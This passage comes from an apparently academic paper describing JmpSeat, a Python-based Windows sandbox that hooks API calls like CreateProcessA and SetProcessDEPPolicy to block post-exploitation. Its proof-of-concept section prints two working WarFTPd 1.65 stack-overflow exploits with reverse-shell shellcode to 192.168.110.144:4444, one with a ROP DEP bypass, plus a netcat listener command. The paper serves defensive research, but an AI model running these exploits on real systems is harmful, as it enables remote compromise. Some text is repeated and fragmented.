13.         self.lpApplicationName = struct.unpack("L", self.dbg.read_process_memory

(self.Esp + 0x4, 4))[0]   

14.         self.lpCommandLine = struct.unpack("L", self.dbg.read_process_memory(sel
f.Esp + 0x8, 4))[0]   

15.         self.lpProcessAttributes = struct.unpack("L", self.dbg.read_process_memo
ry(self.Esp + 0xC, 4))[0]   

16.         self.lpThreadAttributes = struct.unpack("L", self.dbg.read_process_memor
y(self.Esp + 0x10, 4))[0]   

17.         self.bInheritHandles = self.dbg.read_process_memory(self.Esp + 0x14, 4) 
  

18.         self.dwCreationFlags = self.dbg.read_process_memory(self.Esp + 0x18, 4) 
  

19.         self.lpEnvironment = struct.unpack("L", self.dbg.read_process_memory(sel
f.Esp + 0x1C, 4))[0]   

20.         self.lpCurrentDirectory = struct.unpack("L", self.dbg.read_process_memor
y(self.Esp + 0x20, 4))[0]   

21.         self.lpStartupInfo = struct.unpack("L", self.dbg.read_process_memory(sel
f.Esp + 0x24, 4))[0]   

22.         self.lpProcessInformation = struct.unpack("L", self.dbg.read_process_mem
ory(self.Esp + 0x28, 4))[0]   

Diagram 5.4B: Kernel32.CreateProcessA code for references the parameters passed to it using 

the trapping method with Python and Windows debugging functions. 

 

5.5 Framework Usage 

Launching the framework by issuing the ‘jmpconsole.py’ command inside a Windows command 

prompt will give you a basic splash screen as well as the framework command prompt.  From 

here listing available commands with the ‘help’ command can show you the actions available.   

C:> jmpconsole.py 

Jsf> help 



 

Figure 5.5A: Shows the loading of a policy, the output of the load command, and the output of 

the help command.   

Once the framework open you will want to sandbox a process.  This is accomplished in

two ways.  First, typing open followed by the path of the executable to sandbox.  This will tell 

the framework to launch the process located at the path within 

existing process can be attach

process IDs can be viewed by typing the ‘procs’ command as seen below.
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A: Shows the loading of a policy, the output of the load command, and the output of 

framework open you will want to sandbox a process.  This is accomplished in

open followed by the path of the executable to sandbox.  This will tell 

the framework to launch the process located at the path within the sandbox.  Secondly, an 

attached with the attach command followed by a process ID.  A list of 

process IDs can be viewed by typing the ‘procs’ command as seen below. 

 

A: Shows the loading of a policy, the output of the load command, and the output of 

framework open you will want to sandbox a process.  This is accomplished in one of 

open followed by the path of the executable to sandbox.  This will tell 

Secondly, an 

with the attach command followed by a process ID.  A list of 



 

Figure 5.5B: Lists all current processes available to attach the framework 

Once a process is loaded inside of the framework

process.  Policies can be managed in a couple ways. 

and unload commands to existing

unloading policies is done.  Additionally, Diagram 5.2A shows how to list the current policies 

applied to a process with the ‘loaded’ command.  P

loaded into the framework automatically

for a profile is done.  Profile checking is based on the process name minus the file extension.  

Diagram 5.2B shows a list of process IDs followed by their respective process name.  This name 

(minus the extension) followed by a ‘.profile’ extension is how the framework associ

profile with a process. 
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B: Lists all current processes available to attach the framework to. 

Once a process is loaded inside of the framework, policies can be loaded or unloaded to the 

n be managed in a couple ways.  Dynamic management by issuing the load 

existing sandboxed process.  Figure 5.2A shows how loading and 

unloading policies is done.  Additionally, Diagram 5.2A shows how to list the current policies 

applied to a process with the ‘loaded’ command.  Policies may also be applied 

loaded into the framework automatically.  When a process is attached by the framework a check 

for a profile is done.  Profile checking is based on the process name minus the file extension.  

Diagram 5.2B shows a list of process IDs followed by their respective process name.  This name 

ion) followed by a ‘.profile’ extension is how the framework associ

 

, policies can be loaded or unloaded to the 

by issuing the load 

s how loading and 

unloading policies is done.  Additionally, Diagram 5.2A shows how to list the current policies 

 when a process is 

a process is attached by the framework a check 

for a profile is done.  Profile checking is based on the process name minus the file extension.  

Diagram 5.2B shows a list of process IDs followed by their respective process name.  This name 

ion) followed by a ‘.profile’ extension is how the framework associates a 



 

Figure 5.5C: Attaching to the Internet Explorer process.  

 

  

Figure 5.5D: Attaching to a process with a profile being automatically loaded.

Profiles are a major convenience as more and more polices get constructed.  Therefore a well 

structured and easy to maintain profile file is critical.  Each profile is a basic well structured XML 
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C: Attaching to the Internet Explorer process.   

D: Attaching to a process with a profile being automatically loaded. 

a major convenience as more and more polices get constructed.  Therefore a well 

structured and easy to maintain profile file is critical.  Each profile is a basic well structured XML 

 

 

 

a major convenience as more and more polices get constructed.  Therefore a well 

structured and easy to maintain profile file is critical.  Each profile is a basic well structured XML 
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file which can continue to be expanded to include policies with parameters and various process 

specific parameters.  The configuration parser is a separate module that passes all information 

from an XML profile to the framework where all information can be access when loading a 

process.  

1. <?xml version="1.0" encoding="ISO-8859-1"?>   
2. <!DOCTYPE policies SYSTEM "http://socketready.com">   
3.    

4. <process name="war-ftpd.exe" edit_mode="on">   

5.     <policies>   

6.         <policy>create_process_a.kill_cmd</policy>   

7.         <policy>safe_dep.set_process_dep_policy</policy>   

8.     </policies>   
9. </process>   

 

6. Proof of Concept 

Three test cases were created to demonstrate the operation of the framework.  First test case is 

a remote exploit against WarFTPd 1.65 on Windows XP SP3 [19].  The second demonstration is a 

more realistic attack against Internet Explorer 8 (IE8).  Both exploits utilize a payload for 

launching a reverse shell connection to an attacking machine generated with Metasploit’s 

msfpayload. 

6.1 Validate Process Creation 

WarFTP 1.65 has a classic stack overflow vulnerability which allows for shellcode to be placed at 

the top of the stack once control is redirected.  Exploiting this vulnerability without DEP enabled 

(which is default on Windows XP SP3) we can find any jump to ESP register from any linked 

library.  There is also no ASLR which means this static address will be the same across all 

installations of Windows XP SP3 giving us great reliability.  The attacking exploit (Figure 6.1B) 

will attempt to spawn the process cmd.exe from the Windows command line.  This attack uses a 
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single system call, kernel32.CreateProcessA().  A policy has been created (Figure 6.1A) to 

examine the contents of any call to CreateProcessA() and to kill the sandboxed process if it 

attempts to spawn cmd.exe.  

 

1. #   
2. # JmpSeat   

3. # Copyright (C) 2012 Socketready.com <user@socketready.com>   

4. #   
5.    

6. import modules.kernel32   

7. import struct   

8.    

9. class kill_cmd(modules.kernel32.CreateProcessA):   
10.     '''''  
11.     This module is a demonstration of a more easy to use/develop policy.  By inh

eriting modules.kernel32.CreateProcessA  

12.     I am trying to do most of the memory work behind the scenes which allows qui
ck and easy access to parameters  

13.     from this module.  
14.       
15.     For a more advance module which can allow multiple breakpoints to be set dyn

amically you would want to do most of   

16.     the memory reading/writing in this module.  
17.     '''   
18.        
19.     ############################################################################

#####   

20.     def __init__(self):   
21.         '''''  
22.         Initialize the handler by declaring the dll and function to attach to  
23.         optionally a description of the handler  
24.         '''   
25.    
26.         #super(create_process_a, self).__init__()   
27.         modules.kernel32.CreateProcessA.__init__(self)   
28.            
29.         #define parameters for this policy   
30.         self.options["bad_names"] = ["cmd", "calc"]   
31.         self.options["description"] = "Disable creating process cmd"   
32.        
33.     ############################################################################

#####   

34.     def handler(self, dbg):   
35.         #call methods up the chain and pass parameters for handlers to use   
36.         modules.kernel32.CreateProcessA.handler(self, dbg)   
37.            
38.         #get value of lpCommandLine parameter   
39.         str = self.get_lpCommandLine()   
40.            
41.         #if one of the bad names matches the string kill the process   
42.         if str in self.options["bad_names"]:   
43.             print ""   
44.             print "JmpSeat Terminated Process %s" % self.name   
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45.             print "CreateProcessA called with %s parameter" % str   
46.             self.kill_process("CreateProcessA called with cmd.exe parameter")   
47.    
48.         #default is to continue   
49.         return self.cont_process()   
50.            

Figure 6.1A: Policy which extends the kernel32.CreateProcessA class.  

1. #!C:\python27\python.exe   
2. import socket   

3. import struct   
4.    

5. #shellcode rev shell 4444 192.168.110.144   

6. shellcode = ("\xb8\xdd\xd3\x4b\x04\xda\xd5\xd9\x74\x24\xf4\x5f\x2b\xc9" +   

7. "\xb1\x4f\x31\x47\x14\x83\xc7\x04\x03\x47\x10\x3f\x26\xb7" +   

8. "\xec\x36\xc9\x48\xed\x28\x43\xad\xdc\x7a\x37\xa5\x4d\x4a" +   
9. "\x33\xeb\x7d\x21\x11\x18\xf5\x47\xbe\x2f\xbe\xed\x98\x1e" +   

10. "\x3f\xc0\x24\xcc\x83\x43\xd9\x0f\xd0\xa3\xe0\xdf\x25\xa2" +   
11. "\x25\x3d\xc5\xf6\xfe\x49\x74\xe6\x8b\x0c\x45\x07\x5c\x1b" +   
12. "\xf5\x7f\xd9\xdc\x82\x35\xe0\x0c\x3a\x42\xaa\xb4\x30\x0c" +   
13. "\x0b\xc4\x95\x4f\x77\x8f\x92\xbb\x03\x0e\x73\xf2\xec\x20" +   
14. "\xbb\x58\xd3\x8c\x36\xa1\x13\x2a\xa9\xd4\x6f\x48\x54\xee" +   
15. "\xab\x32\x82\x7b\x2e\x94\x41\xdb\x8a\x24\x85\xbd\x59\x2a" +   
16. "\x62\xca\x06\x2f\x75\x1f\x3d\x4b\xfe\x9e\x92\xdd\x44\x84" +   
17. "\x36\x85\x1f\xa5\x6f\x63\xf1\xda\x70\xcb\xae\x7e\xfa\xfe" +   
18. "\xbb\xf8\xa1\x96\x08\x36\x5a\x67\x07\x41\x29\x55\x88\xf9" +   
19. "\xa5\xd5\x41\x27\x31\x19\x78\x9f\xad\xe4\x83\xdf\xe4\x22" +   
20. "\xd7\x8f\x9e\x83\x58\x44\x5f\x2b\x8d\xca\x0f\x83\x7e\xaa" +   
21. "\xff\x63\x2f\x42\xea\x6b\x10\x72\x15\xa6\x27\xb5\x82\x89" +   
22. "\x90\x57\xc6\x62\xe3\xa7\xf9\x2e\x6a\x41\x93\xde\x3a\xda" +   
23. "\x0c\x46\x67\x90\xad\x87\xbd\x30\x4d\x15\x5a\xc0\x18\x06" +   
24. "\xf5\x97\x4d\xf8\x0c\x7d\x60\xa3\xa6\x63\x79\x35\x80\x27" +   
25. "\xa6\x86\x0f\xa6\x2b\xb2\x2b\xb8\xf5\x3b\x70\xec\xa9\x6d" +   
26. "\x2e\x5a\x0c\xc4\x80\x34\xc6\xbb\x4a\xd0\x9f\xf7\x4c\xa6" +   
27. "\x9f\xdd\x3a\x46\x11\x88\x7a\x79\x9e\x5c\x8b\x02\xc2\xfc" +   
28. "\x74\xd9\x46\x0c\x3f\x43\xee\x85\xe6\x16\xb2\xcb\x18\xcd" +   
29. "\xf1\xf5\x9a\xe7\x89\x01\x82\x82\x8c\x4e\x04\x7f\xfd\xdf" +   
30. "\xe1\x7f\x52\xdf\x23")   
31.    
32. buffer = "\x42" * 485   
33. buffer += struct.pack("<L", 0x7cc5c708)  #jmp esp   
34. buffer += "\x90" * 12   
35. buffer += shellcode   
36.        
37. ip = "127.0.0.1"    
38. port = 21    
39. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    
40. conn = sock.connect((ip, port))    
41. sock.recv(1024)    
42. sock.send("USER " + buffer + "\r\n")    
43. sock.close()   

Figure 6.1B: Python script to exploit WarFTPd 1.65 and attempt to spawn a reverse shell 

connection.  Handling this connection on Linux or OS X can be accomplished with netcat: ‘nc –l 

4444’. 
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Figure 6.1C: Running the exploit from Diagram 5.3A while WarFTPd 1.65 is attached with the 

framework.  First the process is attached to the framework; a profile exists for this application 

which contains the create_process_a policy.  The exploit is prevented from spawning a command 

prompt for a reverse shell connection. 

6.2 DEP Bypass Prevention 

This test was conducted on Windows XP SP3 and using the WarFTPd 1.65 server as an exploit 

target.  This exploit, however, utilizes a security feature built into Windows XP (Introduced in 

Windows XP SP2) called DEP (Data Execution Prevention).  DEP is disabled by default and 

requires applications to opt-in in order to use it.  However, we can make a small change to the 

system to enable DEP for all applications.  The exploit below uses a technique called ROP 

(Return Oriented Programming) to bypass the no execution permissions on the stack. 

ROP can be used to bypass DEP in several ways.  This test utilizes the kernel32 function 

SetProcessDEPPolicy.  This function changes the data execution prevention setting for a 32bit 

process.   The exploit code can manipulate the stack in such a way that the processor will make 

a call to the SetProcessDEPPolicy function with the parameter value which disables DEP.  The 
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exploit code below sets up the basic stack overflow, then manipulates the stack for the 

SetProcessDEPPolicy function, and then returns execution to the attacker controlled payload to 

launch a reverse shell connection. 

1. #!C:\python27\python.exe   
2. import socket   

3. import struct   

4.    
5. #shellcode rev shell 4444 192.168.110.144   

6. shellcode = ("\xb8\xdd\xd3\x4b\x04\xda\xd5\xd9\x74\x24\xf4\x5f\x2b\xc9" +   

7. "\xb1\x4f\x31\x47\x14\x83\xc7\x04\x03\x47\x10\x3f\x26\xb7" +   

8. "\xec\x36\xc9\x48\xed\x28\x43\xad\xdc\x7a\x37\xa5\x4d\x4a" +   

9. "\x33\xeb\x7d\x21\x11\x18\xf5\x47\xbe\x2f\xbe\xed\x98\x1e" +   
10. "\x3f\xc0\x24\xcc\x83\x43\xd9\x0f\xd0\xa3\xe0\xdf\x25\xa2" +   
11. "\x25\x3d\xc5\xf6\xfe\x49\x74\xe6\x8b\x0c\x45\x07\x5c\x1b" +   
12. "\xf5\x7f\xd9\xdc\x82\x35\xe0\x0c\x3a\x42\xaa\xb4\x30\x0c" +   
13. "\x0b\xc4\x95\x4f\x77\x8f\x92\xbb\x03\x0e\x73\xf2\xec\x20" +   
14. "\xbb\x58\xd3\x8c\x36\xa1\x13\x2a\xa9\xd4\x6f\x48\x54\xee" +   
15. "\xab\x32\x82\x7b\x2e\x94\x41\xdb\x8a\x24\x85\xbd\x59\x2a" +   
16. "\x62\xca\x06\x2f\x75\x1f\x3d\x4b\xfe\x9e\x92\xdd\x44\x84" +   
17. "\x36\x85\x1f\xa5\x6f\x63\xf1\xda\x70\xcb\xae\x7e\xfa\xfe" +   
18. "\xbb\xf8\xa1\x96\x08\x36\x5a\x67\x07\x41\x29\x55\x88\xf9" +   
19. "\xa5\xd5\x41\x27\x31\x19\x78\x9f\xad\xe4\x83\xdf\xe4\x22" +   
20. "\xd7\x8f\x9e\x83\x58\x44\x5f\x2b\x8d\xca\x0f\x83\x7e\xaa" +   
21. "\xff\x63\x2f\x42\xea\x6b\x10\x72\x15\xa6\x27\xb5\x82\x89" +   
22. "\x90\x57\xc6\x62\xe3\xa7\xf9\x2e\x6a\x41\x93\xde\x3a\xda" +   
23. "\x0c\x46\x67\x90\xad\x87\xbd\x30\x4d\x15\x5a\xc0\x18\x06" +   
24. "\xf5\x97\x4d\xf8\x0c\x7d\x60\xa3\xa6\x63\x79\x35\x80\x27" +   
25. "\xa6\x86\x0f\xa6\x2b\xb2\x2b\xb8\xf5\x3b\x70\xec\xa9\x6d" +   
26. "\x2e\x5a\x0c\xc4\x80\x34\xc6\xbb\x4a\xd0\x9f\xf7\x4c\xa6" +   
27. "\x9f\xdd\x3a\x46\x11\x88\x7a\x79\x9e\x5c\x8b\x02\xc2\xfc" +   
28. "\x74\xd9\x46\x0c\x3f\x43\xee\x85\xe6\x16\xb2\xcb\x18\xcd" +   
29. "\xf1\xf5\x9a\xe7\x89\x01\x82\x82\x8c\x4e\x04\x7f\xfd\xdf" +   
30. "\xe1\x7f\x52\xdf\x23")   
31.    
32. buffer = "\x42" * 485   
33. buffer += struct.pack("<L", 0x7cae61d2)  # pop edi # xor eax,eax # pop esi # pop

 ebp # retn 04   

34. buffer += "\xff" * 4                    # padding   
35. buffer += struct.pack("<L", 0x7e411375)  # retn   
36. buffer += struct.pack("<L", 0x7e411375)  # retn   
37. buffer += struct.pack("<L", 0x7c862144) # call to SetProcessDEPPolicy   
38. buffer += struct.pack("<L", 0x7ca0a62b)  # pushad # retn   
39. buffer += "\x90" * 12   
40. buffer += shellcode   
41.        
42. ip = "127.0.0.1"    
43. port = 21    
44. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    
45. conn = sock.connect((ip, port))    
46. sock.recv(1024)    
47. sock.send("USER " + buffer + "\r\n")    
48. sock.close()   
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Figure 6.2A: Basic stack overflow exploit with a DEP bypass utilizing ROP and the kernel32.dll 

function SetProcessDEPPolicy. 

Understanding what Windows function or system call is made is critical to creating a policy rule 

which prevents or validates this action.  To create a policy for this particular type of DEP bypass 

a trap needs to be set up at the SetProcessDEPPolicy function.  When the trap is set, the policy 

must be able to validate the parameters and modify them if needed.  The SetProcessDEPPolicy 

function only has a single parameter and our trap is triggered before the function prolog begins 

which means the first parameter is going to be located at ESP+4.   

The core modules of the project presented in this paper includes libraries which have interfaces 

to the kernel32.dll functions such as SetProcessDEPPolicy. 

1. #   
2. #kernel32.dll   

3. #http://msdn.microsoft.com/en-

us/library/windows/desktop/bb736299(v=vs.85).aspx   
4. #   

5. class SetProcessDEPPolicy(modules.core_handler.CoreHandler):   

6.     ############################################################################

########################################   

7.     def __init__(self):   
8.         '''''  

9.         Initialize the handler by declaring the dll and function to attach to  

10.         optionally a description of the handler  
11.         '''   
12.    
13.         #super(create_process_a, self).__init__()   
14.         modules.core_handler.CoreHandler.__init__(self)   
15.            
16.         #define parameters for this policy   
17.         self.options["dll"] = "kernel32.dll"   
18.         self.options["function"] = "SetProcessDEPPolicy"   
19.            
20.         self.PROCESS_DEP_DISABLE                        = "\x00\x00\x00\x00"   
21.         self.PROCESS_DEP_ENABLE                         = "\x00\x00\x00\x01"   
22.         self.PROCESS_DEP_DISABLE_ALT_THUNK_EMULATION    = "\x00\x00\x00\x02"   
23.            
24.     ############################################################################

########################################   

25.     def handler(self, dbg):   
26.         '''''  
27.         Read the variables pushed onto the stack for the SetProcessDEPPolicy fun

ction call.  Assign class variables with  
28.         pointers to their values  
29.           
30.         @type dbg: instance of the debugger for this process  
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31.         @param dbg: debugger for the current process in order to retrieve the pr
ocess context when breakpoint is hit  

32.         '''   
33.            
34.         modules.core_handler.CoreHandler.handler(self, dbg)   
35.            
36.         #grab parameters from the stack   
37.         self.dwFlags = self.dbg.read_process_memory(self.Esp + 0x4, 4)   
38.        
39.        
40.     ############################################################################

########################################    

41.     def set_dwFlag_on(self):   
42.         '''''  
43.         Sets the dwFlag parameter to have DEP enabled  
44.         '''   
45.            
46.         self.dbg.write_process_memory(self.Esp + 0x4, self.PROCESS_DEP_ENABLE, 4

)   

47.            
48.            

Figure 6.2B: Core framework module which handles the interaction to the kernel32.dll 

SetProcessDEPPolicy function.  This class should be extended by a policy module for easy policy 

creation. 

1. #   
2. # JmpSeat   

3. # Copyright (C) 2012 Socketready.com <user@socketready.com>   

4. #   

5. import modules.kernel32   

6.    
7. class set_process_dep_policy(modules.kernel32.SetProcessDEPPolicy):   

8.     '''''  

9.     This module will prevent changing the DEP policy dynamically for a process u

sing the kernel32.SetProcessDEPPolicy()  

10.     method.  Providing a 0x00000000 as a parameter for this function will disabl
e DEP for the process.  

11.     '''   
12.        
13.     ############################################################################

########################################   

14.     def __init__(self):   
15.         '''''  
16.         Initialize the handler by declaring the dll and function to attach to  
17.         optionally a description of the handler  
18.         '''   
19.    
20.         #super(create_process_a, self).__init__()   
21.         modules.kernel32.SetProcessDEPPolicy.__init__(self)   
22.            
23.         #define parameters for this policy   
24.         self.options["description"] = "Prevent making stack/heap memory executab

le through kernel32.SetProcessDEPPolicy"   
25.            
26.        
27.     ############################################################################

########################################   

28.     def handler(self, dbg):   
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29.         #call methods up the chain and pass parameters for handlers to use   
30.         modules.kernel32.SetProcessDEPPolicy.handler(self, dbg)   
31.            
32.            
33.         if self.dwFlags == self.PROCESS_DEP_DISABLE:   
34.             print ""   
35.             print "%s process is attempting to turn DEP off" % self.name   
36.             print "Changing parameter so DEP stays on"   
37.             self.set_dwFlag_on()   
38.                
39.         return self.cont_process()   
40.        

Figure 6.2C: A policy created for monitoring kernel32.dll function SetProcessDEPPolicy.  This 

policy extends the frameworks core modules library kernel32. 

7. Future Work 

The framework presented in this paper successfully handles system call interception and 

validation.  Framework templates are presented as well as a usable interface for interacting with 

processes.  However, this framework is built for 32 bit Windows operating systems.  Porting the 

framework to a 64 bit architecture is a logical next step in the continued development.  

Alternatively, building a trapping module for Python on Linux platforms is another possible area 

of development.  Along with architecture and operating system challenges, offering additional 

trapping methods could add performance improvements and allow for the development of 

more customized hooks and handlers. 

8. Conclusion 

In this paper, a proposal for an open source dynamic framework for security sandboxes is 

presented.  This is a practical approach for modeling memory corruption style attacks as well as 

preventing post exploitation of these attacks.  Sandboxes have been created on all modern 

operating systems and typically offer effective security against attacks.  Several Linux sandboxes 

exist that are implemented in various ways and offer system call interception.  Apple’s sandbox 

implements two distinct forms of sandboxing.  One form is at the development level and can be 
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implemented in the software development process.  Another form is an application level 

sandbox which can launch un-sandboxed programs inside a security sandbox.  Both Apple and 

Linux have effective implementations, however, Windows typically uses a partial virtual machine 

approach to protect reading and writing to protected directories.  This approach is effective at 

keeping attackers from installing malicious software.  However, methods still exist which allows 

attackers to exploit software vulnerabilities and disclose unauthorized information.   

The framework proposed in this paper is a Windows solution to application sandboxes.  We 

created an open source solution which allows anyone to view and modify the source code to fit 

their needs.  Additionally, a user interface and application profile templates are available for the 

end user who just wants to have a free security sandbox to protect their systems.   
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